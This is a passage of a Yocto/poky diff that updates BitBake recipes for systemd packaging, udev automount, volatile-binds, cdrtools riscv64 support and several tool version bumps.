-export NASM_PREFIX_MAP = "--debug-prefix-map=${WORKDIR}=/usr/src/debug/ovmf/${EXTENDPE}${PV}-${PR}"
+export NASM_PREFIX_MAP = "--debug-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}"
export GCC_PREFIX_MAP = "${DEBUG_PREFIX_MAP} -Wno-stringop-overflow -Wno-maybe-uninitialized"
GCC_VER="$(${CC} -v 2>&1 | tail -n1 | awk '{print $3}')"
diff --git a/poky/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb b/poky/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
index 62c22a35ab..b3a24b71de 100644
--- a/poky/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
+++ b/poky/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
@@ -9,16 +9,12 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit packagegroup
-PROFILE_TOOLS_X = ""
# sysprof doesn't support aarch64 and nios2
-PROFILE_TOOLS_X:aarch64 = ""
-PROFILE_TOOLS_X:nios2 = ""
PROFILE_TOOLS_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd-analyze', '', d)}"
RRECOMMENDS:${PN} = "\
${PERF} \
blktrace \
- ${PROFILE_TOOLS_X} \
${PROFILE_TOOLS_SYSTEMD} \
"
diff --git a/poky/meta/recipes-core/systemd/systemd.inc b/poky/meta/recipes-core/systemd/systemd.inc
index 3ba0b5ffc5..ccc3236457 100644
--- a/poky/meta/recipes-core/systemd/systemd.inc
+++ b/poky/meta/recipes-core/systemd/systemd.inc
@@ -10,7 +10,8 @@ state, maintains mount and automount points and implements an \
elaborate transactional dependency-based service control logic. It can \
work as a drop-in replacement for sysvinit."
-LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+LICENSE = "GPL-2.0-only & LGPL-2.1-or-later"
+LICENSE:libsystemd = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe \
file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c"
diff --git a/poky/meta/recipes-core/systemd/systemd_254.4.bb b/poky/meta/recipes-core/systemd/systemd_254.4.bb
index 77724eb822..ecf693ef92 100644
--- a/poky/meta/recipes-core/systemd/systemd_254.4.bb
+++ b/poky/meta/recipes-core/systemd/systemd_254.4.bb
@@ -135,6 +135,7 @@ PACKAGECONFIG[bzip2] = "-Dbzip2=true,-Dbzip2=false,bzip2"
PACKAGECONFIG[cgroupv2] = "-Ddefault-hierarchy=unified,-Ddefault-hierarchy=hybrid"
PACKAGECONFIG[coredump] = "-Dcoredump=true,-Dcoredump=false"
PACKAGECONFIG[cryptsetup] = "-Dlibcryptsetup=true,-Dlibcryptsetup=false,cryptsetup,,cryptsetup"
+PACKAGECONFIG[cryptsetup-plugins] = "-Dlibcryptsetup-plugins=true,-Dlibcryptsetup-plugins=false,cryptsetup,,cryptsetup"
PACKAGECONFIG[tpm2] = "-Dtpm2=true,-Dtpm2=false,tpm2-tss,tpm2-tss libtss2 libtss2-tcti-device"
# If multiple compression libraries are enabled, the format to use for compression is chosen implicitly,
# so if you want to compress with e.g. lz4 you cannot enable zstd, so you cannot read zstd-compressed journal files.
@@ -178,11 +179,13 @@ PACKAGECONFIG[microhttpd] = "-Dmicrohttpd=true,-Dmicrohttpd=false,libmicrohttpd"
PACKAGECONFIG[myhostname] = "-Dnss-myhostname=true,-Dnss-myhostname=false,,libnss-myhostname"
PACKAGECONFIG[networkd] = "-Dnetworkd=true,-Dnetworkd=false"
PACKAGECONFIG[no-dns-fallback] = "-Ddns-servers="
-PACKAGECONFIG[nss] = "-Dnss-systemd=true,-Dnss-systemd=false"
+PACKAGECONFIG[no-ntp-fallback] = "-Dntp-servers="
+PACKAGECONFIG[nss] = "-Dnss-systemd=true,-Dnss-systemd=false,,libnss-systemd"
PACKAGECONFIG[nss-mymachines] = "-Dnss-mymachines=true,-Dnss-mymachines=false"
PACKAGECONFIG[nss-resolve] = "-Dnss-resolve=true,-Dnss-resolve=false"
PACKAGECONFIG[oomd] = "-Doomd=true,-Doomd=false"
PACKAGECONFIG[openssl] = "-Dopenssl=true,-Dopenssl=false,openssl"
+PACKAGECONFIG[p11kit] = "-Dp11kit=true,-Dp11kit=false,p11-kit"
PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam,${PAM_PLUGINS}"
PACKAGECONFIG[pcre2] = "-Dpcre2=true,-Dpcre2=false,libpcre2"
PACKAGECONFIG[polkit] = "-Dpolkit=true,-Dpolkit=false"
@@ -225,6 +228,8 @@ PACKAGECONFIG[xz] = "-Dxz=true,-Dxz=false,xz"
PACKAGECONFIG[zlib] = "-Dzlib=true,-Dzlib=false,zlib"
PACKAGECONFIG[zstd] = "-Dzstd=true,-Dzstd=false,zstd"
+RESOLV_CONF ??= ""
+
# Helper variables to clarify locations. This mirrors the logic in systemd's
# build system.
rootprefix ?= "${root_prefix}"
@@ -277,12 +282,12 @@ do_install() {
[ ! -e ${D}/${base_sbindir}/udevd ] && ln -s ${rootlibexecdir}/systemd/systemd-udevd ${D}/${base_sbindir}/udevd
install -d ${D}${sysconfdir}/udev/rules.d/
- install -d ${D}${sysconfdir}/tmpfiles.d
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
for rule in $(find ${WORKDIR} -maxdepth 1 -type f -name "*.rules"); do
install -m 0644 $rule ${D}${sysconfdir}/udev/rules.d/
done
- install -m 0644 ${WORKDIR}/00-create-volatile.conf ${D}${sysconfdir}/tmpfiles.d/
+ install -m 0644 ${WORKDIR}/00-create-volatile.conf ${D}${nonarch_libdir}/tmpfiles.d/
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
install -d ${D}${sysconfdir}/init.d
@@ -336,8 +341,9 @@ do_install() {
echo 'f /run/systemd/resolve/resolv.conf 0644 root root' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
else
- sed -i -e "s%^L! /etc/resolv.conf.*$%L! /etc/resolv.conf - - - - ../run/systemd/resolve/resolv.conf%g" ${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
- ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
+ resolv_conf="${@bb.utils.contains('RESOLV_CONF', 'stub-resolv', 'run/systemd/resolve/stub-resolv.conf', 'run/systemd/resolve/resolv.conf', d)}"
+ sed -i -e "s%^L! /etc/resolv.conf.*$%L! /etc/resolv.conf - - - - ../${resolv_conf}%g" ${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
+ ln -s ../${resolv_conf} ${D}${sysconfdir}/resolv-conf.systemd
fi
if ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'false', 'true', d)}; then
rm ${D}${exec_prefix}/lib/tmpfiles.d/x11.conf
@@ -384,20 +390,21 @@ python populate_packages:prepend (){
PACKAGES_DYNAMIC += "^lib(udev|systemd|nss).*"
PACKAGE_BEFORE_PN = "\
- ${PN}-gui \
- ${PN}-vconsole-setup \
- ${PN}-initramfs \
${PN}-analyze \
- ${PN}-kernel-install \
- ${PN}-rpm-macros \
${PN}-binfmt \
- ${PN}-zsh-completion \
${PN}-container \
+ ${PN}-crypt \
+ ${PN}-extra-utils \
+ ${PN}-gui \
+ ${PN}-initramfs \
${PN}-journal-gatewayd \
${PN}-journal-upload \
${PN}-journal-remote \
- ${PN}-extra-utils \
+ ${PN}-kernel-install \
+ ${PN}-rpm-macros \
${PN}-udev-rules \
+ ${PN}-vconsole-setup \
+ ${PN}-zsh-completion \
libsystemd-shared \
udev \
udev-hwdb \
@@ -446,6 +453,11 @@ USERADD_PARAM:${PN}-journal-upload = "--system -d / -M --shell /sbin/nologin sys
FILES:${PN}-analyze = "${bindir}/systemd-analyze"
+FILES:${PN}-crypt = "${bindir}/systemd-cryptenroll \
+ ${libdir}/cryptsetup \
+ "
+RRECOMMENDS:${PN} += "${PN}-crypt"
+
FILES:${PN}-initramfs = "/init"
RDEPENDS:${PN}-initramfs = "${PN}"
@@ -523,7 +535,6 @@ FILES:${PN}-container = "${sysconfdir}/dbus-1/system.d/org.freedesktop.import1.c
${exec_prefix}/lib/tmpfiles.d/systemd-nspawn.conf \
${exec_prefix}/lib/tmpfiles.d/README \
${systemd_system_unitdir}/systemd-nspawn@.service \
- ${libdir}/libnss_mymachines.so.2 \
${datadir}/dbus-1/system-services/org.freedesktop.import1.service \
${datadir}/dbus-1/system-services/org.freedesktop.machine1.service \
${datadir}/dbus-1/system.d/org.freedesktop.import1.conf \
@@ -532,6 +543,8 @@ FILES:${PN}-container = "${sysconfdir}/dbus-1/system.d/org.freedesktop.import1.c
${datadir}/polkit-1/actions/org.freedesktop.machine1.policy \
"
+RDEPENDS:${PN}-container = "${@bb.utils.contains('PACKAGECONFIG', 'nss-mymachines', 'libnss-mymachines', '', d)}"
+
# "machinectl import-tar" uses "tar --numeric-owner", not supported by busybox.
RRECOMMENDS:${PN}-container += "\
${PN}-journal-gatewayd \
@@ -552,7 +565,6 @@ FILES:${PN}-extra-utils = "\
${bindir}/systemd-run \
${bindir}/systemd-cat \
${bindir}/systemd-creds \
- ${bindir}/systemd-cryptenroll \
${bindir}/systemd-delta \
${bindir}/systemd-cgls \
${bindir}/systemd-cgtop \
@@ -786,6 +798,9 @@ python __anonymous() {
if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+ if bb.utils.contains('DISTRO_FEATURES', 'systemd-resolved', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'nss-resolve resolved', True, False, d):
+ bb.error("DISTRO_FEATURES[systemd-resolved] requires PACKAGECONFIG[nss-resolve, resolved]")
+
if bb.utils.contains('PACKAGECONFIG', 'repart', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'openssl', True, False, d):
bb.error("PACKAGECONFIG[repart] requires PACKAGECONFIG[openssl]")
@@ -826,15 +841,31 @@ ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
ALTERNATIVE_PRIORITY[runlevel] ?= "300"
pkg_postinst:${PN}:libc-glibc () {
- sed -e '/^hosts:/s/\s*\<myhostname\>//' \
- -e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
- -i $D${sysconfdir}/nsswitch.conf
+ if ${@bb.utils.contains('PACKAGECONFIG', 'myhostname', 'true', 'false', d)}; then
+ sed -e '/^hosts:/s/\s*\<myhostname\>//' \
+ -e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
+ -i $D${sysconfdir}/nsswitch.conf
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'nss', 'true', 'false', d)}; then
+ sed -e 's#\(^passwd:.*\)#\1 systemd#' \
+ -e 's#\(^group:.*\)#\1 systemd#' \
+ -e 's#\(^shadow:.*\)#\1 systemd#' \
+ -i $D${sysconfdir}/nsswitch.conf
+ fi
}
pkg_prerm:${PN}:libc-glibc () {
- sed -e '/^hosts:/s/\s*\<myhostname\>//' \
- -e '/^hosts:/s/\s*myhostname//' \
- -i $D${sysconfdir}/nsswitch.conf
+ if ${@bb.utils.contains('PACKAGECONFIG', 'myhostname', 'true', 'false', d)}; then
+ sed -e '/^hosts:/s/\s*\<myhostname\>//' \
+ -e '/^hosts:/s/\s*myhostname//' \
+ -i $D${sysconfdir}/nsswitch.conf
+ fi
+ if ${@bb.utils.contains('PACKAGECONFIG', 'nss', 'true', 'false', d)}; then
+ sed -e '/^passwd:/s#\s*systemd##' \
+ -e '/^group:/s#\s*systemd##' \
+ -e '/^shadow:/s#\s*systemd##' \
+ -i $D${sysconfdir}/nsswitch.conf
+ fi
}
PACKAGE_WRITE_DEPS += "qemu-native"
diff --git a/poky/meta/recipes-core/udev/udev-extraconf/mount.sh b/poky/meta/recipes-core/udev/udev-extraconf/mount.sh
index b7e86dbc0e..0cd51fcde8 100644
--- a/poky/meta/recipes-core/udev/udev-extraconf/mount.sh
+++ b/poky/meta/recipes-core/udev/udev-extraconf/mount.sh
@@ -36,6 +36,16 @@ do
fi
done
+is_filesystem_supported() {
+ while read -r fs; do
+ if [ "${fs#nodev}" = "$1" ];
+ then
+ return 0
+ fi
+ done < "/proc/filesystems"
+ return 1
+}
+
automount_systemd() {
name="`basename "$DEVNAME"`"
@@ -64,6 +74,11 @@ automount_systemd() {
grep "^[[:space:]]*$tmp" /etc/fstab && return
done
+ if ! is_filesystem_supported $ID_FS_TYPE; then
+ logger "mount.sh/automount" "Filesystem '$ID_FS_TYPE' on '${DEVNAME}' is unsupported"
+ return
+ fi
+
[ -d "$MOUNT_BASE/$name" ] || mkdir -p "$MOUNT_BASE/$name"
MOUNT="$MOUNT -o silent"
diff --git a/poky/meta/recipes-core/volatile-binds/files/volatile-binds.service.in b/poky/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
index 52384c8264..5a0055bec3 100644
--- a/poky/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
+++ b/poky/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
@@ -3,7 +3,8 @@ Description=Bind mount volatile @where@
DefaultDependencies=no
Before=local-fs.target
RequiresMountsFor=@whatparent@ @whereparent@
-ConditionPathIsReadWrite=@whatparent@
+ConditionPathIsReadWrite=|@whatparent@
+ConditionPathExists=|!@whatparent@
ConditionPathExists=@where@
ConditionPathIsReadWrite=!@where@
diff --git a/poky/meta/recipes-core/volatile-binds/volatile-binds.bb b/poky/meta/recipes-core/volatile-binds/volatile-binds.bb
index 3fefa9abde..cca8a65fb4 100644
--- a/poky/meta/recipes-core/volatile-binds/volatile-binds.bb
+++ b/poky/meta/recipes-core/volatile-binds/volatile-binds.bb
@@ -16,10 +16,10 @@ inherit allarch systemd features_check
REQUIRED_DISTRO_FEATURES = "systemd"
VOLATILE_BINDS ?= "\
- /var/volatile/lib /var/lib\n\
- /var/volatile/cache /var/cache\n\
- /var/volatile/spool /var/spool\n\
- /var/volatile/srv /srv\n\
+ ${localstatedir}/volatile/lib ${localstatedir}/lib\n\
+ ${localstatedir}/volatile/cache ${localstatedir}/cache\n\
+ ${localstatedir}/volatile/spool ${localstatedir}/spool\n\
+ ${localstatedir}/volatile/srv /srv\n\
"
VOLATILE_BINDS[type] = "list"
VOLATILE_BINDS[separator] = "\n"
@@ -46,8 +46,8 @@ do_compile () {
continue
fi
- servicefile="${spec#/}"
- servicefile="$(echo "$servicefile" | tr / -).service"
+ servicefile="$(echo "${spec#/}" | tr / -).service"
+ [ "$mountpoint" != ${localstatedir}/lib ] || var_lib_servicefile=$servicefile
sed -e "s#@what@#$spec#g; s#@where@#$mountpoint#g" \
-e "s#@whatparent@#${spec%/*}#g; s#@whereparent@#${mountpoint%/*}#g" \
-e "s#@avoid_overlayfs@#${@d.getVar('AVOID_OVERLAYFS')}#g" \
@@ -56,12 +56,12 @@ do_compile () {
${@d.getVar('VOLATILE_BINDS').replace("\\n", "\n")}
END
- if [ -e var-volatile-lib.service ]; then
+ if [ -e "$var_lib_servicefile" ]; then
# As the seed is stored under /var/lib, ensure that this service runs
# after the volatile /var/lib is mounted.
sed -i -e "/^Before=/s/\$/ systemd-random-seed.service/" \
-e "/^WantedBy=/s/\$/ systemd-random-seed.service/" \
- var-volatile-lib.service
+ "$var_lib_servicefile"
fi
}
do_compile[dirs] = "${WORKDIR}"
@@ -78,7 +78,7 @@ do_install () {
# Suppress attempts to process some tmpfiles that are not temporary.
#
- install -d ${D}${sysconfdir}/tmpfiles.d ${D}/var/cache
+ install -d ${D}${sysconfdir}/tmpfiles.d ${D}${localstatedir}/cache
ln -s /dev/null ${D}${sysconfdir}/tmpfiles.d/etc.conf
ln -s /dev/null ${D}${sysconfdir}/tmpfiles.d/home.conf
}
diff --git a/poky/meta/recipes-core/zlib/zlib_1.3.bb b/poky/meta/recipes-core/zlib/zlib_1.3.bb
index c8fd855ee6..1ed18172fa 100644
--- a/poky/meta/recipes-core/zlib/zlib_1.3.bb
+++ b/poky/meta/recipes-core/zlib/zlib_1.3.bb
@@ -45,3 +45,5 @@ do_install_ptest() {
}
BBCLASSEXTEND = "native nativesdk"
+
+CVE_STATUS[CVE-2023-45853] = "not-applicable-config: we don't build minizip"
diff --git a/poky/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.5.1.bb b/poky/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.5.3.bb
index 527e13d08e..873d5e7a14 100644
--- a/poky/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.5.1.bb
+++ b/poky/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.5.3.bb
@@ -18,7 +18,7 @@ DEPENDS = "util-linux zlib"
SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/kdave/btrfs-progs.git;branch=master;protocol=https \
file://0001-Add-a-possibility-to-specify-where-python-modules-ar.patch \
"
-SRCREV = "92d04d4780886a9850716e5529f1dace97779931"
+SRCREV = "a45c360b64660477c726e192d9e92ceb73a50f80"
S = "${WORKDIR}/git"
PACKAGECONFIG ??= " \
diff --git a/poky/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb b/poky/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
index 757132eae6..bf8be1ad0c 100644
--- a/poky/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
+++ b/poky/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb
@@ -8,9 +8,12 @@ SECTION = "console/utils"
LICENSE = "GPL-2.0-only & CDDL-1.0 & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=32f68170be424c2cd64804337726b312"
+DEPENDS += "gnu-config-native"
+
SRC_URI = " \
${SOURCEFORGE_MIRROR}/project/cdrtools/cdrtools-${PV}.tar.bz2 \
file://0001-Don-t-set-uid-gid-during-install.patch \
+ file://riscv64-linux-gcc.rul \
"
SRC_URI[md5sum] = "7d45c5b7e1f78d85d1583b361aee6e8b"
@@ -23,6 +26,12 @@ export ac_cv_prog_CC = "${CC}"
inherit native
+do_configure() {
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}/autoconf
+ install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}/autoconf
+ install -m 0644 ${WORKDIR}/riscv64-linux-gcc.rul ${S}/RULES/
+}
+
do_install() {
make install GMAKE_NOWARN=true INS_BASE=${prefix} DESTDIR=${D}
}
diff --git a/poky/meta/recipes-devtools/cdrtools/cdrtools/riscv64-linux-gcc.rul b/poky/meta/recipes-devtools/cdrtools/cdrtools/riscv64-linux-gcc.rul
new file mode 100644
index 0000000000..3e930225dc
--- /dev/null
+++ b/poky/meta/recipes-devtools/cdrtools/cdrtools/riscv64-linux-gcc.rul
@@ -0,0 +1,65 @@
+#ident "@(#)i586-linux-gcc.rul 1.18 18/11/07 "
+###########################################################################
+# Written 1996-2018 by J. Schilling
+###########################################################################
+#
+# Platform dependent MACROS for Linux
+#
+###########################################################################
+# Copyright (c) J. Schilling
+###########################################################################
+# The contents of this file are subject to the terms of the
+# Common Development and Distribution License, Version 1.0 only
+# (the "License"). You may not use this file except in compliance
+# with the License.
+#
+# See the file CDDL.Schily.txt in this distribution for details.
+# A copy of the CDDL is also available via the Internet at
+# http://www.opensource.org/licenses/cddl1.txt
+#
+# When distributing Covered Code, include this CDDL HEADER in each
+# file and include the License file CDDL.Schily.txt from this distribution.
+###########################################################################
+include $(SRCROOT)/$(RULESDIR)/rules.prg
+###########################################################################
+include $(SRCROOT)/$(RULESDIR)/cc-$(C_ARCH).rul
+
+#
+# LINUX_SRC_INCLUDE is defined in DEFAULTS/Defaults.linux
+#
+INCDIRSX += $(LINUX_SRC_INCLUDE)
+OSDEFS +=
+
+KDEFINES= -DKERNEL -D_KERNEL
+
+LIB_PREFIX= lib
+LIB_SUFFIX= .a
+SHL_SUFFIX= .so.$(DYNMAJOR).$(DYNMINOR)
+
+LIB_SOCKET=
+LIB_MATH= -lm
+LIB_KVM=
+
+#
+# Sunpro C/C++ run on Solaris and Linux and both have linkers
+# that support mapfiles
+#
+MAPVERS= $(_MAPVERS) # This enables to use mapfiles
+#
+# The GNU linker is buggy and does not like the official order in linker map
+# files for symbol versioning. The following command reverses the order of
+# the version names in the linker map file.
+#
+MAPFILE_POST= | sed 's/^SCHILY/+SCHILY/' | tr '\012' '@' | tr '+' '\012' | sort -V | tr '@' '\012'
+
+#LDOPTS= $(LIBS_PATH) $(LDPATH) $(RUNPATH:-R%=-Wl,-R%)
+#
+# Uncomment the next line in case you are on an old Linux version that
+# does not support the -R linker flag.
+#
+#LDOPTS= $(LIBS_PATH) $(LDPATH)
+LDOPTMAP= $(PMAPVERS:%=-Wl,--version-script=%)
+LDOPTDYN= -shared -Wl,-soname,$(TARGET) $(LDOPTMAP)
+
+LORDER= echo
+TSORT= cat
diff --git a/poky/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Move-cr_compress_groupfile-outside-WITH_LIBMODULEMD.patch b/poky/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Move-cr_compress_groupfile-outside-WITH_LIBMODULEMD.patch
deleted file mode 100644
index ea768e06e6..0000000000
--- a/poky/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Move-cr_compress_groupfile-outside-WITH_LIBMODULEMD.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 5326969acc0c7e9e3cabca202154e4120c0d2c2f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 26 Sep 2023 14:52:11 -0700
-Subject: [PATCH] Move cr_compress_groupfile outside WITH_LIBMODULEMD
-
-This function is used in code which is not conditional under WITH_LIBMODULEMD
-therefore the declaration should also match its definition scope
-
-Fixes build issues flagged by clang
-
-src/createrepo_c.c:850:16: error: incompatible integer to pointer conversion initializing 'gchar *' (aka 'char *') with an
- expression of type 'int' [-Wint-conversion]
-| 850 | gchar *compressed_path = cr_compress_groupfile(cmd_options->groupfile_fullpath, tmp_out_repo, compression);
-| | ^ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Submitted [https://github.com/rpm-software-management/createrepo_c/pull/387]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/metadata_internal.h | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/metadata_internal.h b/src/metadata_internal.h
-index 8ba0576..ecfbac2 100644
---- a/src/metadata_internal.h
-+++ b/src/metadata_internal.h
-@@ -52,14 +52,14 @@ cr_metadata_load_modulemd(ModulemdModuleIndex **moduleindex,
- * @param dest_dir Path to directory where the compressed groupfile should be stored.
- * @return Path to the new compressed groupfile. Has to be freed by the caller.
- */
-+
-+#endif /* WITH_LIBMODULEMD */
-+
- gchar *
- cr_compress_groupfile(const char *groupfile,
- const char *dest_dir,
- cr_CompressionType compression);
-
--
--#endif /* WITH_LIBMODULEMD */
--
- #ifdef __cplusplus
- }
- #endif
---
-2.42.0
-
diff --git a/poky/meta/recipes-devtools/createrepo-c/createrepo-c/time64fix.patch b/poky/meta/recipes-devtools/createrepo-c/createrepo-c/time64fix.patch
deleted file mode 100644
index a63801ce26..0000000000
--- a/poky/meta/recipes-devtools/createrepo-c/createrepo-c/time64fix.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From 89e1c9415fb8438310036d5810cdb7da75ee3a7f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 26 Jul 2023 12:27:14 -0700
-Subject: [PATCH] Adjust printf formats for 64bit time_t on 32bit systems
-
-Fixes format specifier mismatch warnings as well while here
-
-e.g.
-warning: format '%ld' expects argument of type 'long int', but argument 2 has type 'time_t'
-
-Upstream-Status: Submitted [https://github.com/rpm-software-management/createrepo_c/pull/376]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/createrepo_c.c | 4 ++--
- src/misc.c | 4 ++--
- src/xml_dump_repomd.c | 2 +-
- 3 files changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/src/createrepo_c.c b/src/createrepo_c.c
-index 8681419..0f9048a 100644
---- a/src/createrepo_c.c
-+++ b/src/createrepo_c.c
-@@ -582,9 +582,9 @@ duplicates_warning(const char *nevra, GArray *locations, CmdDupNevra option)
- for (size_t i=0; i<locations->len; i++) {
- struct DuplicateLocation location = g_array_index(locations, struct
- DuplicateLocation, i);
-- g_warning(" Sourced from location: \'%s\', build timestamp: %ld%s",
-+ g_warning(" Sourced from location: \'%s\', build timestamp: %jd%s",
- location.location,
-- location.pkg->time_build,
-+ (intmax_t) location.pkg->time_build,
- location.pkg->skip_dump ? skip_reason : "");
-
- }
-diff --git a/src/misc.c b/src/misc.c
-index 8511ca2..7866c7b 100644
---- a/src/misc.c
-+++ b/src/misc.c
-@@ -1512,11 +1512,11 @@ cr_append_pid_and_datetime(const char *str, const char *suffix)
- gettimeofday(&tv, NULL);
- timeinfo = localtime (&(tv.tv_sec));
- strftime(datetime, 80, "%Y%m%d%H%M%S", timeinfo);
-- gchar *result = g_strdup_printf("%s%jd.%s.%ld%s",
-+ gchar *result = g_strdup_printf("%s%jd.%s.%jd%s",
- str ? str : "",
- (intmax_t) getpid(),
- datetime,
-- tv.tv_usec,
-+ (intmax_t) tv.tv_usec,
- suffix ? suffix : "");
- return result;
- }
-diff --git a/src/xml_dump_repomd.c b/src/xml_dump_repomd.c
-index 33b0e09..9d24249 100644
---- a/src/xml_dump_repomd.c
-+++ b/src/xml_dump_repomd.c
-@@ -143,7 +143,7 @@ cr_xml_dump_repomd_body(xmlNodePtr root, cr_Repomd *repomd)
- BAD_CAST repomd->revision);
- } else {
- // Use the current time if no revision was explicitly specified
-- gchar *rev = g_strdup_printf("%ld", time(NULL));
-+ gchar *rev = g_strdup_printf("%jd", (intmax_t) time(NULL));
- xmlNewChild(root, NULL, BAD_CAST "revision", BAD_CAST rev);
- g_free(rev);
- }
---
-2.41.0
-
diff --git a/poky/meta/recipes-devtools/createrepo-c/createrepo-c_1.0.0.bb b/poky/meta/recipes-devtools/createrepo-c/createrepo-c_1.0.2.bb
index f4e65492f8..49d29bcfb4 100644
--- a/poky/meta/recipes-devtools/createrepo-c/createrepo-c_1.0.0.bb
+++ b/poky/meta/recipes-devtools/createrepo-c/createrepo-c_1.0.2.bb
@@ -7,11 +7,9 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SRC_URI = "git://github.com/rpm-software-management/createrepo_c;branch=master;protocol=https \
file://0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
file://0001-include-rpm-rpmstring.h.patch \
- file://time64fix.patch \
- file://0001-Move-cr_compress_groupfile-outside-WITH_LIBMODULEMD.patch \
"
-SRCREV = "0cc13920991b2fb8f87fb9d352bd3394c2983289"
+SRCREV = "e87636334a3bc5d6ddfdb6c0b34042e96987efb1"
S = "${WORKDIR}/git"
diff --git a/poky/meta/recipes-devtools/dnf/dnf_4.17.0.bb b/poky/meta/recipes-devtools/dnf/dnf_4.18.1.bb
index ec4e48d68b..f60b4794a6 100644
--- a/poky/meta/recipes-devtools/dnf/dnf_4.17.0.bb
+++ b/poky/meta/recipes-devtools/dnf/dnf_4.18.1.bb
@@ -19,7 +19,7 @@ SRC_URI = "git://github.com/rpm-software-management/dnf.git;branch=master;protoc
SRC_URI:append:class-native = "file://0001-dnf-write-the-log-lock-to-root.patch"
-SRCREV = "a31687c169095de1acb5c0a3762bf78993661776"
+SRCREV = "41a287e2bd60b4d1100c329a274776ff32ba8740"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
S = "${WORKDIR}/git"
diff --git a/poky/meta/recipes-devtools/git/git_2.42.0.bb b/poky/meta/recipes-devtools/git/git_2.42.1.bb
index c417b11b1e..33269d39a9 100644
--- a/poky/meta/recipes-devtools/git/git_2.42.0.bb
+++ b/poky/meta/recipes-devtools/git/git_2.42.1.bb
@@ -160,4 +160,4 @@ EXTRA_OECONF += "ac_cv_snprintf_returns_bogus=no \
"
EXTRA_OEMAKE += "NO_GETTEXT=1"
-SRC_URI[tarball.sha256sum] = "34aedd54210d7216a55d642bbb4cfb22695b7610719a106bf0ddef4c82a8beed"
+SRC_URI[tarball.sha256sum] = "839d75c91ddfa9f7534f7b0888e462e3ad1422bb8ef12ec35f6261cea18efe33"
diff --git a/poky/meta/recipes-devtools/go/go-cross-canadian.inc b/poky/meta/recipes-devtools/go/go-cross-canadian.inc
index 45758f3361..8298fe31be 100644
--- a/poky/meta/recipes-devtools/go/go-cross-canadian.inc
+++ b/poky/meta/recipes-devtools/go/go-cross-canadian.inc
@@ -8,7 +8,7 @@ PN = "go-cross-canadian-${TRANSLATED_TARGET_ARCH}"
# it uses gcc on build machine during go-cross-canadian bootstrap, but
# the gcc version may be old and not support option '-fmacro-prefix-map'
# which is one of default values of DEBUG_PREFIX_MAP
-DEBUG_PREFIX_MAP = "-fdebug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR} \
+DEBUG_PREFIX_MAP = "-fdebug-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR} \
-fdebug-prefix-map=${STAGING_DIR_HOST}= \
-fdebug-prefix-map=${STAGING_DIR_NATIVE}= \
"
